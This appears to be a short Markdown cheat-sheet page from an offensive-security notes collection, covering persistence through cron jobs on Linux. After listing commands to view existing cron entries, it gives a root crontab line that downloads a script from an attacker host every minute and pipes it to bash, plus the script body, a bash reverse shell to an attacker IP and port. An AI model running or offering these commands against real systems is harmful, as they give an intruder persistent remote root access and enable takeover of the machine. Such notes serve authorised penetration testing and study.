killchain-compendium/persistence/crontab.md

16 lines
259 B
Markdown
Raw Normal View History

2021-09-08 02:09:14 +02:00
# Cronjobs
* `crontab -l`
* `cat /etc/crontab`
## Add Cronjob
* Add line
```sh
* * * * * root curl http://<attacker-IP>:8000/shell.sh | bash
```
* Shell content
```sh
bash -c "bash -i >& /dev/tcp/<attacker-IP>/<attacker-Port> 0&1"
```